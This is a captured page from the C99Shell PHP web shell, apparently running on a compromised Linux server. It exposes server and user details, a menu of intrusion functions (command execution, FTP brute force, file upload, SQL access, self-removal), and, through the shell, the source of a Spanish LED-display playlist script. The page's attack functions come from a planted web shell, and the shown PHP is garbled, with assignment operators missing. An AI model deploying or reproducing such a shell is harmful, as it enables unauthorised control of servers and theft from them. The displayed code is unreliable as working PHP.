!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/proyectos/led_/php/   drwxrwxr-x
Free 14.55 GB of 61.93 GB (23.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     verificar.php (3.39 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

if(isset($_REQUEST['led'])){

    
$datos_led toba::tabla('led')->get_led_por_codigo_activo($_REQUEST['led'], true);


    if(!empty(
$datos_led['id_led']))  { 

        
$usar_streaming   $datos_led['usar_streaming'];
        
$hora_desde       str_replace(':'''$datos_led['hora_desde']);
        
$hora_hasta       str_replace(':'''$datos_led['hora_hasta']);
        if(!empty(
$datos_led['hora_desde2']))  { $hora_desde2  str_replace(':'''$datos_led['hora_desde2']);  }
        if(!empty(
$datos_led['hora_hasta2']))  { $hora_hasta2  str_replace(':'''$datos_led['hora_hasta2']);  }
        
$carga_fecha         $datos_led['carga_fecha'];
        
$carga_ip         $datos_led['carga_ip'];
        
$fecha_modificacion $datos_led['fecha_modificacion']; //fecha de modificacion de la lista de reproduccion


        
if(!empty($carga_fecha)){ //ya se ha cargado antes


            //set fechas necesarias (carga del led y modificacion de la lista)
            
list($f,$h)  = explode(' '$carga_fecha);
            
$f_carga str_replace('-'''$f); 
            
$h_carga  str_replace(':'''$h);
            
$f_carga_completa =  $f_carga.$h_carga

            list(
$f,$h)  = explode(' '$fecha_modificacion);
            
$f_modif str_replace('-'''$f); 
            
$h_modif  str_replace(':'''$h); 
            
$f_modif_completa =  $f_modif.$h_modif
            

            
//si la lista fue modificada luego de la carga, se recarga
            
if($f_modif_completa $f_carga_completa ){
                
file_put_contents('../logs/'.date("Ymd-His").'_led-'.$datos_led['id_led'].'_reload.log'"La Fecha modificacion: $f_modif_completa es mayor a la Fecha de carga: $f_carga_completa");
                echo 
"reload";
                exit;
            }

            
//si es una lista con streaming, revisar el estado en el que estaba con el actual
            
if($usar_streaming == 1)  {  

                if( (
$h_carga >= $hora_desde and $h_carga <= $hora_hasta) or ($h_carga >= $hora_desde2 and $h_carga <= $hora_hasta2)){
                    
$uso_streaming_en_carga  'si';
                }else{
                    
$uso_streaming_en_carga  'no';
                }

                
$hora_actual date("His");
                if( (
$hora_actual >= $hora_desde and $hora_actual <= $hora_hasta) or ($hora_actual >= $hora_desde2 and $hora_actual <= $hora_hasta2)){
                    
$usaria_streaming_ahora  'si';
                }else{
                    
$usaria_streaming_ahora  'no';
                }

                if(
$uso_streaming_en_carga <> $usaria_streaming_ahora){

                    
file_put_contents('../logs/'.date("Ymd-His").'_led-'.$datos_led['id_led'].'_reload.log'"Uso de streaming en carga: $uso_streaming_en_carga es distitno al Uso de streaming ahora: $usaria_streaming_ahora");

                    echo 
"reload";
                    exit;
                }

            }else{ 
//revisa si antes lo usaba


                
if( ($h_carga >= $hora_desde and $h_carga <= $hora_hasta) or ($h_carga >= $hora_desde2 and $h_carga <= $hora_hasta2)){
                    
$uso_streaming_en_carga  'si';
                }else{
                    
$uso_streaming_en_carga  'no';
                }


                if(
$uso_streaming_en_carga == 'si'){

                    
file_put_contents('../logs/'.date("Ymd-His").'_led-'.$datos_led['id_led'].'_reload.log'"Uso de streaming en carga: $uso_streaming_en_carga es distitno al Uso de streaming ahora: $usaria_streaming_ahora");

                    echo 
"reload";
                    exit;
                }

            }

        }

    }
}

file_put_contents('../logs/'.date("Ymd").'_led-'.$datos_led['id_led'].'_mantiene.log'date("Ymd H:i:s"));

echo 
"ok";

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8248 ]--